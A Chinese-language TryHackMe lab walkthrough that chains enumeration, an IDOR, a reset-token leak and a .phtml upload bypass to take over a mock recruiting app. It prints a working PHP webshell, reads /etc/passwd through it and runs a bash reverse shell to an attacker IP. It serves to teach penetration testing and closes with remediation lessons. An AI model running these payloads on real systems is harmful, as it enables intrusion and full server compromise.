引导式渗透测试:Web

地址:https://tryhackme.com/room/guidedpentestweb

通过从漏洞探测到服务器被完全攻破的整个过程,来学习 Web 应用渗透测试的技巧。

引言

假设你被聘为一名渗透测试员。你的客户运营着一个名为 RecruitX 的小型网络应用程序,这其实是一个内部招聘平台。在该平台上,招聘经理可以发布职位信息,求职者可以提交申请,而管理员则负责管理整个招聘流程。客户怀疑该应用程序存在安全问题,但不知道具体出在哪儿。你的任务就是找出这些问题。

这个模拟环境会全程指导你完成一次真实的 Web 应用程序渗透测试。你不会被丢进某个测试环境中,然后被要求“找出其中的漏洞”。相反,每个任务都会详细指导你完成测试的各个步骤,解释该做什么、为什么要这么做,以及需要注意什么。最终,你将从对目标系统一无所知的状态,逐步实现在该服务器上执行远程代码的目标。

学习目标

该合作过程遵循以下路径:

  1. 侦察与枚举——发现应用程序暴露的内容
  2. 不安全的直接对象引用IDOR——查看属于其他用户的数据
  3. 弱密码重置机制——利用有缺陷的重置流程来窃取账户控制权
  4. 管理面板访问权限——从普通用户升级为管理员
  5. 远程代码执行——利用管理权限在服务器上执行命令

每一个漏洞都是在前一步所收集的信息基础上产生的。这就是现实世界中的渗透测试方式:很少会有某个单一的、极其严重的漏洞存在。相反,各种较小的弱点会相互叠加,最终形成严重的安全问题。

先决条件

侦查与枚举

在开始使用该应用程序之前,我们先来了解一下自己所要处理的内容。在任何渗透测试中,第一步都是情报收集:在不做任何假设的前提下,尽可能多地收集关于目标系统的信息。如果你受雇去评估某栋建筑,你肯定不会不先查看建筑外观、检查门的情况、阅读指示牌就直接进入吧。同样的原则也适用于这里。

端口扫描

首先,让我们先了解一下目标系统上正在运行的服务有哪些。打开终端,然后运行 Nmap 扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 10.48.188.32 --min-rate=10000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-13 10:52 -0400
Nmap scan report for 10.48.188.32
Host is up (0.18s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 49:56:12:87:2d:90:db:0c:54:aa:bc:05:4a:a9:03:ae (ECDSA)
|_ 256 54:19:5d:bd:a6:24:18:1f:bb:94:81:32:ad:a7:9b:61 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: RecruitX - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.97 seconds

我们可以看到四个开放的端口。端口 22 用于 SSH 连接,如果我们需要获取某些凭证的话,这个端口会非常有用。端口 80 上运行着基于 Apache 的 Web 应用程序。端口 3306 则用于连接 MySQL 数据库,这说明该应用程序在后台使用了 MySQL 数据库。端口 8080 则显示的是 Apache 的默认页面。这些信息非常重要:这意味着该应用程序很可能会使用 SQL 语句来处理数据,而任何输入处理上的漏洞都可能导致与 SQL 相关的问题。

探索其应用场景

打开浏览器,然后访问 http://10.48.188.32 。你应该会看到 RecruitX 的首页。在点击任何链接之前,请先仔细看看页面上的内容。你会看到一个导航栏,上面有“首页”、“职位招聘”、“登录”和“注册”等链接。页面底部还写着“RecruitX v2.4”。

image-20261013230239088

让我们也来看看 HTTP 响应头信息吧:

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# curl -I http://10.48.188.32
HTTP/1.1 200 OK
Date: Tue, 13 Oct 2026 14:56:57 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=0i2ks7js97ss23e6bqdp5nkbpu; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

这些信息表明:该服务器运行的是 Apache 服务器,其版本为 2.4.58 。 PHPSESSID Cookie 则说明该服务器使用了 PHP 会话管理功能。由此可知,该服务器所使用的技术架构为:Apache + PHP + MySQL——典型的 LAMP 架构。

目录枚举

现在,让我们来看看在导航栏所显示的内容之外,还有哪些目录和文件存在。我们将使用 Gobuster 与常见的词汇列表来辅助查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@ip-10-48-169-6:~# gobuster dir -u http://10.48.188.32 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.188.32
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 21600]
/.php (Status: 403) [Size: 277]
/profile.php (Status: 302) [Size: 0] [--> /login.php]
/login.php (Status: 200) [Size: 15107]
/register.php (Status: 200) [Size: 14802]
/uploads (Status: 301) [Size: 314] [--> http://10.48.188.32/uploads/]
/data (Status: 403) [Size: 277]
/jobs.php (Status: 200) [Size: 27698]
/admin (Status: 301) [Size: 312] [--> http://10.48.188.32/admin/]
/test (Status: 200) [Size: 705]
/includes (Status: 301) [Size: 315] [--> http://10.48.188.32/includes/]
/api (Status: 301) [Size: 310] [--> http://10.48.188.32/api/]
/logout.php (Status: 302) [Size: 0] [--> /login.php]
/config (Status: 301) [Size: 313] [--> http://10.48.188.32/config/]
/dashboard.php (Status: 302) [Size: 0] [--> /login.php]
/reset.php (Status: 200) [Size: 14408]
/.php (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================

这一结果告诉我们很多信息。让我们来详细分析一下这些重要的发现:

  • /admin —— 虽然有管理面板,但点击后会跳转至登录页面。需要输入用户名和密码才能使用该管理面板。
  • /api—— API 通常会以前端无法处理的方式来展示数据。
  • /reset.php —— 密码重置页面。目前的密码重置机制往往存在安全漏洞。
  • /uploads —— 用于上传文件的目录。如果我们能够将文件上传到这里,那么这里就有可能成为代码执行的路径。
  • /profile.php 和 /dashboard.php ——这些内容需要身份验证才能查看,因此我们必须先登录才能使用它们。

注册账户

有好几页内容需要身份验证。让我们使用账户登录,这样才能体验该应用的各种功能。请访问 http://10.48.188.32/login.php ,并使用以下信息进行登录:

注意:您可以在 http://10.48.188.32/register.php 进行注册,从而使用其他任何账户。

登录后,该应用程序会将您重定向到 /dashboard.php 。现在,您会看到一个仪表板,上面显示着诸如 Open Positions 、 Total Applications 之类的信息,或者有 Browse Jobs 等选项。在浏览页面时,请务必记下 URL 地址,尤其是在查看自己的个人资料时。

image-20261013231236408

探索API功能

早些时候,Gobuster 发现了一个 /api 端点。让我们来看看它提供了哪些功能/信息:

1
2
root@ip-10-48-169-6:~# curl http://10.48.188.32/api/
{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}

该 API 详细列出了所有的接口端点。在正式应用中,这显然属于信息泄露的问题——未经授权的用户不应能够知晓这些内部 API 的路径。在继续下一步操作时,我们必须牢记这一点。

image-20261013231507663

IDOR

既然我们已经建立了有效的会话连接,并且了解了该应用程序的结构,那我们就开始寻找其中的漏洞吧。在 Web 应用程序中,最常见却又最容易被忽视的漏洞之一,就是不安全的直接对象引用漏洞。

打个比方吧:你住在酒店里,而你的房间钥匙其实就是房间号 104。没有电子锁,也不需要任何验证手续,只要知道房间号就行了。那有什么能阻止你走到 105 号房间并打开门呢?什么都没有。这其实就是 IDOR 漏洞的实质:应用程序使用容易预测的标识符来标识各种对象(如用户资料、文档、订单等),却不去验证请求访问该对象的用户是否具有相应的权限。

寻找IDOR

以测试用户的身份登录后,点击仪表板右上角显示您用户名的按钮,进入您的个人资料页面。请仔细查看浏览器地址栏中的 URL 地址:

1
http://10.48.188.32/profile.php?id=6

测试漏洞情况

让我们把 id 参数改为 1 ,看看会发生什么。你可以在浏览器中直接进行操作,或者使用 curl 来操作。在浏览器中,输入 URL http://10.48.188.32/profile.php?id=1 后,会得到如下结果:

image-20261013231734930

提取 Cookie 信息:

在这个练习中,你需要使用会话 Cookie。你可以通过右键点击页面上的任意位置,然后选择“检查”来获取该 Cookie,操作方式如下所示:

image-20261013232009677

转到 Storage 标签页,然后展开 Cookies 并选择 http://10.48.188.32 。你会看到所有 Cookie 的列表,找到 PHPSESSID Cookie 并复制其值。

image-20261013232114519

我们也可以使用 curl ,这样就能清楚地知道返回了什么内容。请务必在 PHPSESSID= 后面的命令中包含您的会话 Cookie。

1
2
3
4
5
root@ip-10-48-169-6:~# curl -s -b "PHPSESSID=pv9lg9d9g1pp422hssahr6gh11" "http://10.48.188.32/profile.php?id=1" | grep "fw-semibold"                                                                          
<div class="fw-semibold mt-1">Sarah Mitchell</div>
<div class="fw-semibold mt-1 mono">[email protected]</div>
<div class="fw-semibold mt-1">March 24, 2026</div>

我们刚刚查看了用户 ID 为 1 的用户资料,该用户是管理员 Sarah Mitchell。该应用程序并未验证我们是否有权查看该用户的资料。它只是获取了 id 这个值,然后查询了数据库,最后返回了查询结果。

我们还要检查一下,之前发现的那个 API 端点是否也存在同样的问题。另外,也要看看是否根本不需要会话 Cookie 即可使用该 API 端点。

1
2
3
4
root@ip-10-48-169-6:~# curl -s "http://10.48.188.32/api/user?id=1"
{"id":1,"name":"Sarah Mitchell","email":"[email protected]","role":"administrator","created":"2026-03-24"}
root@ip-10-48-169-6:~# curl -s "http://10.48.188.32/api/user?id=2"
{"id":2,"name":"James Crawford","email":"[email protected]","role":"hiring_manager","created":"2026-03-24"}

该 API 提供的信息比网页上显示的还要详细。它返回包含用户姓名、电子邮件、角色以及账户创建日期的 JSON 数据。通过将 id 参数的值从 1 逐步增加到 5,我们可以列出系统中的所有用户。

为什么这很重要

IDOR 漏洞始终属于最常见的 Web 应用程序缺陷之一。出现这种漏洞的原因是,开发人员假设用户只会访问属于自己的资源。但一旦有人更改了 URL 参数,这一假设就不成立了。解决这个问题的方法很简单:服务器必须确认当前已认证的用户确实有权访问所请求的资源。但实际上,这种验证往往被忽视了。

image-20261013232818345

弱密码重置

我们现在知道了该管理员的电子邮件地址: [email protected] 。我们的下一个目标就是接管她的账户。与其试图猜测她的密码(这可能需要很长时间,而且还可能导致账户被锁定),不如直接利用密码重置功能来解决问题。在网页应用中,密码重置功能往往是容易出问题的部分,因为其实现起来相当复杂,而开发者们往往选择走捷径来处理这个问题。

了解重置流程

请导航至 http://10.48.188.32/reset.php 。你会看到一个简单的表单,需要输入电子邮件地址。我们先用自己的账号来测试一下,以便了解其运作方式。请输入 [email protected] ,然后提交表单。

image-20261013233103539

这是我们的第一个重要发现。在设计合理的应用程序中,重置令牌会被发送到用户的邮箱中,而不会显示在屏幕上。但这款应用程序却直接在响应结果中显示了该令牌。虽然仅凭这一点我们就可以重置自己的密码,但真正的问题是:该令牌究竟是如何被传递给用户的呢?

分析该令牌

让我们再生成一些令牌,然后试着找出其中的规律。请多次提交重置表格来获取属于自己的令牌,并把它们记录下来:

  • 尝试1:878916
  • 尝试2:461127
  • 尝试3:178606

这些令牌都是六位数的数字。虽然它们看起来像是随机生成的,但实际上其取值范围是有限的:总共有 100 万种可能的数值(从 000000 到 999999)。可以说,这是一个“弱令牌空间”。不过,试图逐一尝试这 100 万种数值来破解令牌的密码,过程会相当缓慢。让我们再仔细看看,试着用管理员的电子邮件地址 [email protected] 来重置令牌吧。这样就能得到以下结果:

image-20261013233314294

重置管理员密码

我们现在拥有所需要的一切了。让我们使用该令牌来重置 Sarah Mitchell 的密码吧。请访问重置密码的网址,系统会要求你输入新密码。

image-20261013233417190

让我们用新密码登录来验证一下吧。

image-20261013233516680

我们现在以管理员身份登录了系统。让我们先来梳理一下到目前为止所发生的流程:我们利用了 IDOR 漏洞来获取管理员的电子邮件地址,然后又利用了密码重置机制中的漏洞——该机制会导致令牌信息直接暴露在响应数据中。单独来看,这两种漏洞都无法让我们获得管理员权限。但当它们结合在一起时,就造成了严重的后果。

出了什么问题?

密码重置机制存在三个明显的缺陷:

  1. 作为响应而显示的令牌——该令牌应仅发送到账户所有者的邮箱中,绝不能在屏幕上显示。
  2. 令牌生成强度不足——六位数的数字令牌其可用密钥空间很小,因此很容易受到暴力攻击。
  3. 没有速率限制——该应用程序没有对重置请求的次数或令牌尝试的次数进行限制。

image-20261013233713219

管理面板访问权限

我们现在以该应用程序的管理员 Sarah Mitchell 的身份登录了系统。在之前的检测过程中,Gobuster 发现了一个 /admin 路径,该路径会将未经身份验证的用户重定向到登录页面。既然我们现在拥有管理员权限,那就让我们来看看那扇“门”后面究竟有什么吧。

探索管理控制面板

请使用您以 Sarah Mitchell 身份登录的浏览器,访问 http://10.48.188.32/admin 。管理面板上有多个管理页面。其中大部分都是常规的管理功能,但有一个功能格外引人注目: /admin/upload.php 。对于管理员来说,文件上传功能是非常强大的工具;而从渗透测试人员的角度来看,这可能被利用来实现远程代码执行。

image-20261013235009971

探究上传功能

让我们来看看上传页面。右键点击 Upload 按钮,然后选择 Inspect ,这样就可以查看客户端代码了:

image-20261013235242670

我们可以注意到几个重要的细节。该表单表明它接受 PDF、DOCX 和图片文件作为上传格式。文件输入框上的 accept 属性虽然限制了可上传的文件类型,但这只是客户端层面的限制而已。实际上,浏览器会执行这一限制,但通过直接的 HTTP 请求,可以上传任何类型的文件。该页面还显示了文件的上传目的地: /uploads/documents/ 。

测试上传限制功能

让我们来测试一下服务器是否执行了文件类型限制。首先,我们会尝试上传一个无害的文本文件,看看应用程序会有怎样的反应。在 AttackBox 中,输入以下命令来创建一个文本文件:

1
2
┌──(root㉿kali)-[~]
└─# echo "This is a test file" > test.txt

文件创建完成后,将其上传到管理面板中。进入上传页面后,右键点击文件输入框,然后选择“检查”。在 HTML 代码中,删除“accept”属性,这样浏览器就不再会限制文件类型了。接下来,直接选择并上传您的文件,从而绕过客户端的限制。

image-20261013235641985

服务器拒绝了 .txt 文件。

image-20261013235725574

所以,服务器端确实会进行一些验证。但这种验证的彻底性如何呢?我们来测试一下:服务器是只检查文件扩展名,还是同时检查文件内容。我们将使用以下命令来创建一个 PHP 文件:

1
2
┌──(root㉿kali)-[~]
└─# echo '<?php echo "PHP is executing"; ?>' > test.php

创建完成后,再尝试上传一次。结果还是被拒绝了。看来,该应用程序在检查文件的扩展名是否正确。

让我们再试一种常见的绕过方式,即使用 .phtml 扩展名。Apache 通常会将这种请求当作 PHP 请求来处理。

1
2
┌──(root㉿kali)-[~]
└─# echo '<?php echo "PHP is executing"; ?>' > test.phtml

.phtml 扩展已被接受。该应用程序的文件类型过滤器会阻止 .php 扩展的运行,但却没有考虑到其他 PHP 扩展。这是个常见的疏忽:开发人员会列出那些“危险”的扩展来阻止其运行,却忽略了那些不太常见的扩展,而服务器仍然会将其作为 PHP 扩展来处理。

image-20261013235958351

让我们通过访问页面 http://10.48.188.32/uploads/documents/test.phtml 来确认我们上传的文件是否能够正常执行。

image-20261014000109281

服务器执行了 PHP 代码并返回了输出结果。我们已经确认,可以在该服务器上上传和执行 PHP 文件。在接下来的步骤中,我们将利用这一功能来实现远程代码执行。

image-20261014000157730

远程代码执行

我们已经确认,可以将 PHP 文件上传到服务器上,而且服务器也会执行这些文件。在渗透测试中,这一阶段是所有前期工作的最终成果。我们一开始什么都没有:没有登录凭证,也不了解该应用程序的运作方式。通过各种手段,比如枚举、利用 IDOR 漏洞、滥用密码重置功能以及获取管理员权限,我们终于能够在这台服务器上执行任意代码了。

创建一个webshell

webshell是一种小型脚本,它通过HTTP参数接收命令,并在服务器上执行这些命令。让我们来创建一个简单的webshell,将其保存为 shell.phtml 吧:

1
2
3
4
5
<?php
if(isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

该脚本会检查 URL 中是否存在 cmd 参数。如果存在,该参数的值会被传递给 shell_exec() 。 shell_exec() 会在操作系统中执行相应的命令,并返回执行结果。请将文件上传到管理面板上的 http://10.48.188.32/admin/upload.php 位置。

执行命令

让我们通过运行一个简单的命令来确认代码确实能够被执行:

1
2
3
4
5
6
7
8
──(root㉿kali)-[~]
└─# curl "http://10.48.188.32/uploads/documents/shell.phtml?cmd=whoami"
<pre>www-data
</pre>
┌──(root㉿kali)-[~]
└─# curl "http://10.48.188.32/uploads/documents/shell.phtml?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

我们遇到了远程代码执行的问题。这些命令是以 www-data 的权限来运行的,而 www-data 正是 Ubuntu 系统中 Apache Web 服务器的默认用户。让我们进一步了解有关该系统的更多信息吧:

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~]
└─# curl "http://10.48.188.32/uploads/documents/shell.phtml?cmd=hostname"
<pre>recruitx-prod
</pre>
┌──(root㉿kali)-[~]
└─# curl "http://10.48.188.32/uploads/documents/shell.phtml?cmd=uname+-a"
<pre>Linux recruitx-prod 6.8.0-1017-aws #18-Ubuntu SMP Wed Oct 2 20:17:03 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
</pre>

我们现在可以看到主机名、内核版本,还可以在系统上执行任何命令。

读取敏感文件

既然我们可以在服务器上读取文件,那么第一步就是检查那些记录了用户信息的系统文件。在 Linux 系统中, /etc/passwd 文件中包含了用户的各项基本信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# curl "http://10.48.188.32/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" |grep -v "nologin"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2123 100 2123 0 0 5870 0 0
<pre>root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false
qa:x:1001:1001::/home/qa:/bin/bash
</pre>

通过利用我们的网络 shell,我们成功进入了 /etc/passwd 系统,并获取了该系统的用户信息。在现实环境中,这样的访问权限足以让我们进一步获取配置文件中的信息,从而窃取数据库凭证,进而完全控制该应用程序的后端数据。

获取反向 shell

webshell虽然可以使用,但存在诸多限制:每个命令都需要通过单独的 HTTP 请求来发送,无法实现交互式操作。此外,包含特殊字符的复杂命令也很难通过 URL 参数来传递。让我们升级到更可靠的反向shell吧。

首先,在你的 AttackBox 上设置一个监听器:

1
2
3
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

在另一个终端中,通过 webshell来触发反向 shell 程序。为了避免特殊字符带来的问题,我们需要对有效载荷进行 URL 编码处理:

1
2
┌──(root㉿kali)-[~]
└─# curl "http://10.48.188.32/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.172.254/4444+0>%261'"

回到您的监听终端:

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.172.254] from (UNKNOWN) [10.48.188.32] 54082
bash: cannot set terminal process group (763): Inappropriate ioctl for device
bash: no job control in this shell
www-data@recruitx-prod:/var/www/recruitx/uploads/documents$ whoami
whoami
www-data
www-data@recruitx-prod:/var/www/recruitx/uploads/documents$

现在,目标服务器上已经有了交互式 shell。通常情况下,渗透测试人员会利用这个 shell 来对系统进行进一步的检测和权限提升操作,不过这些内容超出了本次讨论的范围。

读取flag

为确认您已完成该任务,请阅读系统中的标记文件:

1
2
3
www-data@recruitx-prod:/var/www/recruitx/uploads/documents$ cat /var/www/flag.txt
<w/recruitx/uploads/documents$ cat /var/www/flag.txt
THM{ch41n3d_vulns_4r3_d3v4st4t1ng}

image-20261014002006859

攻击链

让我们退一步,回顾一下我们所经历的整个过程。在渗透测试报告中,需要详细记录所有的漏洞环节,向客户说明每个漏洞是如何共同导致整体安全问题的。以下就是我们的漏洞链条:

  1. 枚举:我们了解了该应用程序所使用的技术架构。Apache,PHP,MySQL,以及其目录结构,api端点、密码重置页面、一个上传目录和管理面板。
  2. IDOR:/profile.php?id= 参数和 /api/user?id= 端点让我们能够获取所有用户的详细信息,包括管理员的姓名和电子邮件地址。
  3. 弱密码重置功能:该重置机制会直接在 HTTP 响应中返回令牌,这样我们就可以为管理员生成新的令牌,并更改其密码。
  4. 管理面板访问权限的获取:利用被攻破的管理员账户,我们成功进入了管理面板。在那里,我们发现了一个用于上传文件的功能,但该功能的扩展名过滤列表并不完整。
  5. 远程代码执行:我们使用了 .phtml 扩展名上传了一个 PHP 网络壳程序,从而绕过了过滤机制。这样一来,我们就能在服务器上执行命令了,同时也能获得建立完整反向 shell 的途径。

在这整个攻击链中,没有任何一个漏洞本身就能导致服务器被完全控制。IDOR 漏洞虽然泄露了用户信息,但并未提供直接访问服务器的权限。密码重置功能虽然可以被利用,但由于我们已经知道管理员的邮箱地址,这一漏洞也就无足轻重了。上传过滤功能也有被绕过的风险,但我们需要管理员的凭证才能利用这一漏洞。正是这些漏洞的结合,才导致了服务器被完全控制。

补救措施总结

如果您要为这项工作撰写报告,那么对于每一项发现,您都应该提出相应的改进措施:

image-20261014002703801

image-20261014002900325

结论

在这个房间里,我们完整地体验了一次网络应用程序渗透测试的整个过程:从最初的 Nmap 扫描,到在目标服务器上实现远程代码执行。在整个过程中,你学会了区分优秀渗透测试员与普通测试员的必备素质:耐心、观察力,以及将应用程序各部分之间的信息联系起来的能力。

让我们总结一下这次互动中的关键要点:

  • 枚举是关键所在。我们能够发现那些漏洞,是因为在尝试利用这些漏洞之前,我们先花了时间来了解该应用程序的结构、请求头信息、端点以及其行为模式。
  • 小的缺陷会累积成严重的问题。这里没有任何一个问题是特别复杂或难以解决的。IDOR、弱密码重置、上传绕过等漏洞都是众所周知的安全隐患。这些漏洞的威胁性在于它们之间的相互关联方式。
  • 客户端的限制措施并不能真正起到安全作用。在文件上传表单中, accept 属性被用来限制浏览器可以上传的文件类型。而在服务器端,虽然使用了阻止列表来限制文件类型,但却遗漏了某些其他类型的文件。
  • 密码重置机制需要格外重视。要确保其安全性,实现起来相当复杂。哪怕只有一个设计上的缺陷,比如在响应中泄露了令牌信息,都可能导致账户被窃取。
  • 要像攻击者那样思考,像顾问那样汇报。找出漏洞只是工作的一半而已。真正能让这项工作对客户有价值的是:以清晰的格式记录这些漏洞,同时标明其严重程度,并给出可行的修复建议。

您已经完成了指导式的渗透测试。现在是时候将所学的知识应用到即将面临的挑战中了。